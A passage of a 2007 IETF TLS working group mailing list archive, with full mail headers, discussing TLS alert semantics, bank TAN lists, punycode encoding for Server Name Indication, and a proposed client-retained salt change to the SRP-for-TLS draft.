2007 19:21:19 +0200 (MEST) In-Reply-To: <20070612152119.GA25578@tau.invalid> from "Bodo Moeller" at Jun 12, 7 05:21:19 pm MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-SAP: out X-SAP: out X-Spam-Score: 0.0 (/) X-Scan-Signature: 769a46790fb42fbb0b0cc700c82f7081 Cc: Martin.Rex@sap.com, tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: martin.rex@sap.com List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Bodo Moeller wrote: > > On Tue, Jun 12, 2007 at 04:53:41PM +0200, Martin Rex wrote: > > > I would also appreciate if the spec was more explicit about this, > > and in particular I do *NOT* want this to be considered a change > > to the existing spec that is new and valid only for TLSv1.2. > > Not a change just for TLS 1.2, but a clarification for something that > previously was under-specified. OK! > > >> (according to the spec, it is about unacceptable "security > >> parameters", and that's a pretty specific term in the TLS > >> specification: see 6.1 and A.6). > > > > The spec calls for a fatal handshake_failure alert in most situations. > > One problem is that the spec doesn't really say that you can use > handshake_failure in such situations. The spec can just as easily be > interpreted as saying that you can't. (Common sense can come in > helpfully and say that you should use handshake_failure *despite of* > what the current spec says.) According to the SSL spec, a handshake failure alert is the appropriate (server) response to a client sending a "no_certificate" warning alert upon a Certificate Request message. For every protocol you will need a catch-all error message that has to be used whenever there is not specific error message available to describe the situation (In GSS-API it is the MISC_FAILURE major_status) In SSL, for errors during the handshake this is the handshake_failure alert. What TLS currently doesn't provide is a means to communicate implementation specific information about an error, which may be specific to particular cipher-suites, specific to particular PKI operations (and not covered by the existing certificate-related alerts), or eventually, specific to alternative authentication protocols that people are trying to add to TLS. Maybe the alert protocol should be enhanced to provide a container for such auxiliary error information before fancy new authentication schemes are added to the TLS protocol engine. -Martin _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Tue Jun 12 19:04:00 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HyFOW-0004zp-GG; Tue, 12 Jun 2007 19:03:24 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HyFOV-0004zi-VD for tls@ietf.org; Tue, 12 Jun 2007 19:03:23 -0400 Received: from smtpde03.sap-ag.de ([155.56.68.140]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HyFOU-000839-Ip for tls@ietf.org; Tue, 12 Jun 2007 19:03:23 -0400 Received: from sap-ag.de (smtpde03) by smtpde03.sap-ag.de (out) with ESMTP id BAA08320; Wed, 13 Jun 2007 01:03:08 +0200 (MESZ) From: Martin Rex Message-Id: <200706122303.l5CN38aA011034@fs4113.wdf.sap.corp> Subject: Re: [TLS] Straw poll on TLS SRP status To: pgut001@cs.auckland.ac.nz (Peter Gutmann) Date: Wed, 13 Jun 2007 01:03:08 +0200 (MEST) In-Reply-To: from "Peter Gutmann" at Jun 1, 7 11:52:41 pm MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-SAP: out X-SAP: out X-SAP: out X-Spam-Score: 0.0 (/) X-Scan-Signature: 52e1467c2184c31006318542db5614d5 Cc: tls@ietf.org, paul.hoffman@vpnc.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: martin.rex@sap.com List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Peter Gutmann wrote: > > >Here in Germany, most banks use an OTP-style approach (TAN) for > >authenticating transactions. > > In a previous message I commented that the use of hand-over-the-password, > circa 1965, had to be the ultimate indictment of the failure of browser > authentication mechanisms, but I think this is even more damning: Banks are > having to resort to printing and mailing out lists of TANs (i.e. physical > distribution of codebooks), a technique going back to the middle ages, because > security protocol designers haven't been able to provide them with anything > better. Instead of requiring organisations who care about security to get > medieval on your keyboard, let's give them something they can use. If the threat model is phishing and trojaning of the PC and browser, then printing and mailing out lists of TANs is a cheap and low-tech "trusted hardware OTP" solution to this problem, that works remarkably well and is easily understood by large parts of the population and is quite similar to all "password-based credential distribution" that banks (and mobile telcos) have been using. The economic incentive for the service providers is what drives that decisions. The end user has no say in this, and frankly, neither do we as the technology providers. As you know, smartcard technology isn't new. But the adoption is limited to those areas where there is an economic incentive for the security level of the technology for the service providers. What really worries me is that it is difficult to protect against CSRF (cross-site request forgery), because sites like eBay fully rely on this architectural flaw to work. (But for a notable exception, eBay itself seems to work fine with active content disabled). -Martin _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Wed Jun 13 01:58:08 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HyLr0-0006TN-Vx; Wed, 13 Jun 2007 01:57:14 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HyLr0-0006SJ-AJ for tls@ietf.org; Wed, 13 Jun 2007 01:57:14 -0400 Received: from omta04sl.mx.bigpond.com ([144.140.93.156]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HyLqy-0002D2-Pj for tls@ietf.org; Wed, 13 Jun 2007 01:57:14 -0400 Received: from oaamta08sl.mx.bigpond.com ([81.103.188.11]) by omta04sl.mx.bigpond.com with ESMTP id <20070613055704.IKWF28583.omta04sl.mx.bigpond.com@oaamta08sl.mx.bigpond.com> for ; Wed, 13 Jun 2007 05:57:04 +0000 Received: from [192.168.0.70] (really [81.103.188.11]) by oaamta08sl.mx.bigpond.com with ESMTP id <20070613055645.MXCR17816.oaamta08sl.mx.bigpond.com@[192.168.0.70]> for ; Wed, 13 Jun 2007 05:56:45 +0000 From: Brad Hards To: tls mailing list Date: Wed, 13 Jun 2007 04:41:01 +1000 User-Agent: KMail/1.9.1 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200706130441.01903.bradh@kdelabs.net> X-Authentication-Info: Submitted using SMTP AUTH LOGIN at oaamta08sl.mx.bigpond.com from [81.103.188.11] using ID bhards@bigpond.net.au at Wed, 13 Jun 2007 05:56:35 +0000 X-Spam-Score: 0.3 (/) X-Scan-Signature: 30ac594df0e66ffa5a93eb4c48bcb014 Cc: Subject: [TLS] Encoding of data for Server Name Indication? X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org I am working on some Qt code for TLS (that wraps OpenSSL and other libraries). We are planning to support the Server Name Indication extension (assuming that the underlying library also supports it), but have come up with an issue. Based on 3280bis, the Certificate commonName and dNSName are supposed to be punycode encoded. Is SNI also supposed to be encoded with punycode? Brad _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Thu Jun 14 18:51:11 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hyy9P-0007B0-JG; Thu, 14 Jun 2007 18:50:47 -0400 Received: from [10.90.34.44] (helo=chiedprmail1.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hyy9B-0006dH-5i; Thu, 14 Jun 2007 18:50:33 -0400 Received: from ns4.neustar.com ([156.154.24.139]) by chiedprmail1.ietf.org with esmtp (Exim 4.43) id 1Hyy9A-0004Hx-RT; Thu, 14 Jun 2007 18:50:33 -0400 Received: from stiedprstage1.ietf.org (stiedprstage1.va.neustar.com [10.31.47.10]) by ns4.neustar.com (Postfix) with ESMTP id BE0302AC88; Thu, 14 Jun 2007 22:50:02 +0000 (GMT) Received: from ietf by stiedprstage1.ietf.org with local (Exim 4.43) id 1Hyy8g-0005I3-GU; Thu, 14 Jun 2007 18:50:02 -0400 Content-Type: Multipart/Mixed; Boundary="NextPart" Mime-Version: 1.0 To: i-d-announce@ietf.org From: Internet-Drafts@ietf.org Message-Id: Date: Thu, 14 Jun 2007 18:50:02 -0400 X-Spam-Score: -2.5 (--) X-Scan-Signature: b280b4db656c3ca28dd62e5e0b03daa8 Cc: tls@ietf.org Subject: [TLS] I-D ACTION:draft-ietf-tls-srp-14.txt X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Transport Layer Security Working Group of the IETF. Title : Using SRP for TLS Authentication Author(s) : D. Taylor, et al. Filename : draft-ietf-tls-srp-14.txt Pages : 26 Date : 2007-6-14 This memo presents a technique for using the Secure Remote Password protocol as an authentication method for the Transport Layer Security protocol. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-tls-srp-14.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-tls-srp-14.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-tls-srp-14.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2007-6-14152613.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-tls-srp-14.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-tls-srp-14.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2007-6-14152613.I-D@ietf.org> --OtherAccess-- --NextPart Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls --NextPart-- From tls-bounces@lists.ietf.org Fri Jun 15 00:00:12 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hz2yT-0005cS-Uh; Thu, 14 Jun 2007 23:59:49 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hz2yT-0005cN-2x for tls@ietf.org; Thu, 14 Jun 2007 23:59:49 -0400 Received: from cirrus.av8.net ([130.105.36.66]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1Hz2yR-0002rV-R7 for tls@ietf.org; Thu, 14 Jun 2007 23:59:49 -0400 Received: from [130.105.12.10] ([130.105.12.10]) (authenticated bits=0) by cirrus.av8.net (8.12.11/8.12.11) with ESMTP id l5F3xihS007725 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 14 Jun 2007 23:59:47 -0400 Date: Thu, 14 Jun 2007 23:59:43 -0400 (EDT) From: Dean Anderson X-X-Sender: dean@citation2.av8.net To: tls@ietf.org Subject: Re: [TLS] Patents and draft-housley-authz-extns-07 (fwd) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.8 (/) X-Scan-Signature: de4f315c9369b71d7dd5909b42224370 Cc: X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Ok, I've updated the web page on Housley. There is quite a bit more information, now. http://www.av8.net/IETF-watch/People/Housley/ I would appreciate it if someone would post this to the IETF list, which is continuing to discuss this draft. Thanks, --Dean -- Av8 Internet Prepared to pay a premium for better service? www.av8.net faster, more reliable, better service 617 344 9000 _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Fri Jun 15 06:34:08 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hz97y-0008TE-0y; Fri, 15 Jun 2007 06:34:02 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hz97w-0008T7-76 for tls@ietf.org; Fri, 15 Jun 2007 06:34:00 -0400 Received: from smtp.nokia.com ([131.228.20.172] helo=mgw-ext13.nokia.com) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1Hz97u-0006Pw-Oe for tls@ietf.org; Fri, 15 Jun 2007 06:34:00 -0400 Received: from esebh107.NOE.Nokia.com (esebh107.ntc.nokia.com [172.21.143.143]) by mgw-ext13.nokia.com (Switch-3.2.5/Switch-3.2.5) with ESMTP id l5FAXRNF010559; Fri, 15 Jun 2007 13:33:48 +0300 Received: from esebh104.NOE.Nokia.com ([172.21.143.34]) by esebh107.NOE.Nokia.com with Microsoft SMTPSVC(6.0.3790.1830); Fri, 15 Jun 2007 13:33:36 +0300 Received: from esebe105.NOE.Nokia.com ([172.21.143.53]) by esebh104.NOE.Nokia.com with Microsoft SMTPSVC(6.0.3790.1830); Fri, 15 Jun 2007 13:33:36 +0300 X-MimeOLE: Produced By Microsoft Exchange V6.5 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Subject: RE: [TLS] Encoding of data for Server Name Indication? Date: Fri, 15 Jun 2007 13:33:37 +0300 Message-ID: In-Reply-To: <200706130441.01903.bradh@kdelabs.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [TLS] Encoding of data for Server Name Indication? Thread-Index: Acetf8INQcF2R8JUTsaCAH+B45yeZQBtqHDg References: <200706130441.01903.bradh@kdelabs.net> From: To: , X-OriginalArrivalTime: 15 Jun 2007 10:33:36.0915 (UTC) FILETIME=[A1B19E30:01C7AF38] X-Nokia-AV: Clean X-Spam-Score: 0.2 (/) X-Scan-Signature: ea4ac80f790299f943f0a53be7e1a21a Cc: X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Brad Hards wrote: > I am working on some Qt code for TLS (that wraps OpenSSL and > other libraries). We are planning to support the Server Name > Indication extension (assuming that the underlying library also > supports it), but have come up with an issue. >=20 > Based on 3280bis, the Certificate commonName and dNSName are > supposed to be punycode encoded. Is SNI also supposed to be > encoded with punycode? The text in RFC 4366 isn't exactly easy to understand, but the answer seems to be that both work. The client can either use the ToASCII operation (which involves more things than just Punycode encoding, notably Nameprep), or just do Nameprep and send the resulting string as UTF-8. Both of these work, because the server does the ToUnicode operation before comparing the domain name: "If the server needs to match the HostName against names that contain non-US-ASCII characters, it MUST perform the conversion operation described in Section 4 of [IDNA], treating the HostName as a "query string" (i.e., the AllowUnassigned flag MUST be set)." (And ToUnicode will remove the Punycode encoding, if used.) Best regards, Pasi _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Fri Jun 15 11:32:19 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HzDmY-0005yX-Vw; Fri, 15 Jun 2007 11:32:14 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HzDmY-0005yR-9o for tls@ietf.org; Fri, 15 Jun 2007 11:32:14 -0400 Received: from [128.18.230.194] (helo=delta.rtfm.com) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HzDmV-0004vB-Bf for tls@ietf.org; Fri, 15 Jun 2007 11:32:14 -0400 Received: from delta.rtfm.com (localhost.rtfm.com [127.0.0.1]) by delta.rtfm.com (Postfix) with ESMTP id 727E033C1A for ; Fri, 15 Jun 2007 08:31:01 -0700 (PDT) Date: Fri, 15 Jun 2007 08:31:01 -0700 From: Eric Rescorla To: tls@ietf.org User-Agent: Wanderlust/2.14.0 (Africa) Emacs/21.3 Mule/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Message-Id: <20070615153101.727E033C1A@delta.rtfm.com> X-Spam-Score: 0.0 (/) X-Scan-Signature: cd26b070c2577ac175cd3a6d878c6248 Cc: Subject: [TLS] FWD: Suggested change to "SRP for TLS" X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Forwarded for a non-subscriber... --------------------------------------------------------------------------- Eric, Regarding "Using SRP for TLS Authentication" (draft-ietf-tls-srp-13), I have a small change I think would make the protocol more useful. I don't follow the TLS WG mailing list and I don't know the draft's authors. I figured I'd tell you and you could forward this message to appropriate parties. I suggest allowing for client-retained salt that is not transmitted as part of the protocol. This would be indicated when a zero-length (or zero value?) srp_s parameter was transmitted as part of the server key exchange message. Those who agree with this idea can stop reading now. In the protocol specified by the I-D and more generally in SRP, the salt is retained by the server and supplied to the client after the client identifies itself. However, the salt plays no other role in the server's actions. It isn't needed for any server computation during the protocol proper and isn't needed in the notional registration phase when the verifier is created by the client then transmitted to and stored by the server. Server-retained salt in classic SRP has the important practical advantage that it is often easier for servers than clients to have stable storage. However, withholding salt from servers greatly reduces (eliminates) the threat of insider password-guessing attacks. SRP users likely will have passwords no stronger and no less shared among hosts than in existing password-based systems. Given this, and that the raison d'=EAtre of verifier-based systems is to reduce insider attacks, client-retained salt may be appropriate for some applications. My shamefully perfunctory suggestions for changes to the I-D are below. Cheers, -Allan Allan M. Schiffman ams@commerce.net CommerceNet 169 University Ave. Palo Alto, CA 94301 +1.650.289.4055 ------------------------------------------------------------------------- ------------------------------------------------------------------------- Suggested changes to draft-ietf-tls-srp-13 accommodating client-retained salt First, I note that client-retained salt affects the client/server initial registration phase (outside the scope of the I-D). In the registration protocol, the client would inform the server that it commits to retaining the salt. Add to the end of section 2.2: In a minor departure from SRP, we accommodate applications that withhold the salt from servers by allowing for the zero-length s parameter to be interpreted as "client-retained salt". Append to section 2.5.3: The client SHOULD abort the handshake with an "illegal_parameter" alert if it has arranged to use client-retained salt and the length of s is non-zero. The first part of section 2.6 should be replaced with: The pre-master secret is calculated by the client as follows: I, P =3D N, g, s, B =3D S =3D a =3D random() A =3D g^a % N u =3D SHA1(PAD(A) | PAD(B)) k =3D SHA1(N | PAD(g)) x =3D SHA1(S | SHA1(I | ":" | P)) =3D (B - (k * g^x)) ^ (a + (u * x)) % N Append to section 2.8.2: A zero-length srp_s element indicates that the seed is client-retained. ------------------------------------------------------------------------- _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Fri Jun 15 12:18:49 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HzEVY-0003In-4t; Fri, 15 Jun 2007 12:18:44 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HzEVW-0003IY-Um for tls@ietf.org; Fri, 15 Jun 2007 12:18:42 -0400 Received: from balder-227.proper.com ([192.245.12.227]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HzEVW-0005A6-FE for tls@ietf.org; Fri, 15 Jun 2007 12:18:42 -0400 Received: from [10.20.30.108] (dsl-63-249-108-169.cruzio.com [63.249.108.169]) (authenticated bits=0) by balder-227.proper.com (8.13.5/8.13.5) with ESMTP id l5FGIdmt087955 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 15 Jun 2007 09:18:41 -0700 (MST) (envelope-from paul.hoffman@vpnc.org) Mime-Version: 1.0 Message-Id: In-Reply-To: References: <200706130441.01903.bradh@kdelabs.net> Date: Fri, 15 Jun 2007 09:18:31 -0700 To: , , From: Paul Hoffman Subject: RE: [TLS] Encoding of data for Server Name Indication? Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Spam-Score: 0.0 (/) X-Scan-Signature: c1c65599517f9ac32519d043c37c5336 Cc: X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org At 1:33 PM +0300 6/15/07, wrote: >Brad Hards wrote: > >> I am working on some Qt code for TLS (that wraps OpenSSL and >> other libraries). We are planning to support the Server Name >> Indication extension (assuming that the underlying library also >> supports it), but have come up with an issue. >> >> Based on 3280bis, the Certificate commonName and dNSName are >> supposed to be punycode encoded. Is SNI also supposed to be >> encoded with punycode? > >The text in RFC 4366 isn't exactly easy to understand, but the >answer seems to be that both work. The client can either use the >ToASCII operation (which involves more things than just Punycode >encoding, notably Nameprep), or just do Nameprep and send the >resulting string as UTF-8. I disagree with Pasi: only ToASCII makes any sense. Having the string as non-ASCII makes comparison to the dNSName string impossible without doing another conversion. RFC 4366 could have been a bit clearer. Where it says: If the server needs to match the HostName against names that contain non-US-ASCII characters, it MUST perform the conversion operation described in Section 4 of [IDNA], treating the HostName as a "query string" (i.e., the AllowUnassigned flag MUST be set). it would have been better to say at the end of the sentence "and processing the labels with ToASCII in step 4". >Both of these work, because the server does the ToUnicode >operation before comparing the domain name: > > "If the server needs to match the HostName against names that > contain non-US-ASCII characters, it MUST perform the conversion > operation described in Section 4 of [IDNA], treating the > HostName as a "query string" (i.e., the AllowUnassigned flag > MUST be set)." There is nothing in that sentence that supports "the server does the ToUnicode operation before comparing the domain name". It does not. All data in the certificate and in the extension are stored in the processed ToASCII format. --Paul Hoffman, Director --VPN Consortium _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Fri Jun 15 18:03:09 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HzJsn-0001cb-1U; Fri, 15 Jun 2007 18:03:05 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HzJsl-0001cW-MX for tls@ietf.org; Fri, 15 Jun 2007 18:03:03 -0400 Received: from mail-gw-old.ygnition.net ([66.135.144.21] helo=darthmail.iqcicom.com) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HzJsi-00064x-9V for tls@ietf.org; Fri, 15 Jun 2007 18:03:03 -0400 Received: from [192.168.1.2] (ip139.post-street-towers.sfo.ygnition.net [24.219.24.139]) by darthmail.iqcicom.com (Vircom SMTPRS 4.4.571.23) with ESMTP id ; Fri, 15 Jun 2007 15:02:59 -0700 X-Modus-ReverseDNS: OK X-Modus-BlackList: 24.219.24.139=OK;trevp@trevp.net=OK X-Modus-RBL: 24.219.24.139=Excluded X-Modus-Trusted: 24.219.24.139=NO X-Modus-Audit: TRUE;30;-1;128289853791110000 Message-ID: <46730C92.40305@trevp.net> Date: Fri, 15 Jun 2007 15:02:58 -0700 From: Trevor Perrin User-Agent: Thunderbird 1.5.0.7 (X11/20060925) MIME-Version: 1.0 To: ams@commerce.net Subject: Re: [TLS] FWD: Suggested change to "SRP for TLS" References: <20070615153101.727E033C1A@delta.rtfm.com> In-Reply-To: <20070615153101.727E033C1A@delta.rtfm.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-Spam-Score: 1.2 (+) X-Scan-Signature: e1b0e72ff1bbd457ceef31828f216a86 Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Allan wrote: [...] > I suggest allowing for client-retained salt that is not transmitted as part > of the protocol. [...] Hi Allan, I believe this is already allowed (in essence), so changes to the protocol and draft are not needed: It is perfectly legal for a client-side password-generator to combine a user-entered password with a stored, shared secret to generate the actual "SRP password" that is handed to SRP. I think this accomplishes your goal of strengthening the user-entered password with a stored secret, and is cleaner, since: - it treats the stored secret orthogonally to the SRP salt (i.e., both can be used) - it does not require protocol changes - it does not provide additional information to someone watching the network (whether a client-stored shared secret is in use or not) Trevor > > Those who agree with this idea can stop reading now. > > In the protocol specified by the I-D and more generally in SRP, the salt is > retained by the server and supplied to the client after the client > identifies itself. However, the salt plays no other role in the server's > actions. It isn't needed for any server computation during the protocol > proper and isn't needed in the notional registration phase when the verifier > is created by the client then transmitted to and stored by the server. > > Server-retained salt in classic SRP has the important practical advantage > that it is often easier for servers than clients to have stable storage. > However, withholding salt from servers greatly reduces (eliminates) the > threat of insider password-guessing attacks. > > SRP users likely will have passwords no stronger and no less shared among > hosts than in existing password-based systems. Given this, and that the > raison d'être of verifier-based systems is to reduce insider attacks, > client-retained salt may be appropriate for some applications. > > My shamefully perfunctory suggestions for changes to the I-D are below. > > Cheers, > -Allan > Allan M. Schiffman ams@commerce.net > CommerceNet > 169 University Ave. > Palo Alto, CA 94301 > +1.650.289.4055 > > ------------------------------------------------------------------------- > ------------------------------------------------------------------------- > Suggested changes to draft-ietf-tls-srp-13 > accommodating client-retained salt > > First, I note that client-retained salt affects the client/server initial > registration phase (outside the scope of the I-D). In the registration > protocol, the client would inform the server that it commits to retaining > the salt. > > Add to the end of section 2.2: > In a minor departure from SRP, we accommodate applications that withhold > the salt from servers by allowing for the zero-length s parameter to be > interpreted as "client-retained salt". > > Append to section 2.5.3: > The client SHOULD abort the handshake with an "illegal_parameter" alert > if it has arranged to use client-retained salt and the length of s is > non-zero. > > The first part of section 2.6 should be replaced with: > The pre-master secret is calculated by the client as follows: > > I, P = > N, g, s, B = > S = > a = random() > A = g^a % N > u = SHA1(PAD(A) | PAD(B)) > k = SHA1(N | PAD(g)) > x = SHA1(S | SHA1(I | ":" | P)) > = (B - (k * g^x)) ^ (a + (u * x)) % N > > Append to section 2.8.2: > A zero-length srp_s element indicates that the seed is client-retained. > ------------------------------------------------------------------------- > > _______________________________________________ > TLS mailing list > TLS@lists.ietf.org > https://www1.ietf.org/mailman/listinfo/tls > _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Fri Jun 15 18:05:00 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HzJud-0002P2-Mi; Fri, 15 Jun 2007 18:04:59 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HzJub-0002Oa-FE for tls@ietf.org; Fri, 15 Jun 2007 18:04:57 -0400 Received: from mail-gw-old.ygnition.net ([66.135.144.21] helo=darthmail.iqcicom.com) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HzJub-0006To-4B for tls@ietf.org; Fri, 15 Jun 2007 18:04:57 -0400 Received: from [192.168.1.2] (ip139.post-street-towers.sfo.ygnition.net [24.219.24.139]) by darthmail.iqcicom.com (Vircom SMTPRS 4.4.571.23) with ESMTP id ; Fri, 15 Jun 2007 15:04:53 -0700 X-Modus-ReverseDNS: OK X-Modus-BlackList: 24.219.24.139=OK;trevp@trevp.net=OK X-Modus-RBL: 24.219.24.139=Excluded X-Modus-Trusted: 24.219.24.139=NO X-Modus-Audit: TRUE;30;-1;128289854938800000 Message-ID: <46730D05.7050509@trevp.net> Date: Fri, 15 Jun 2007 15:04:53 -0700 From: Trevor Perrin User-Agent: Thunderbird 1.5.0.7 (X11/20060925) MIME-Version: 1.0 To: ams@commerce.net Subject: Re: [TLS] FWD: Suggested change to "SRP for TLS" References: <20070615153101.727E033C1A@delta.rtfm.com> In-Reply-To: 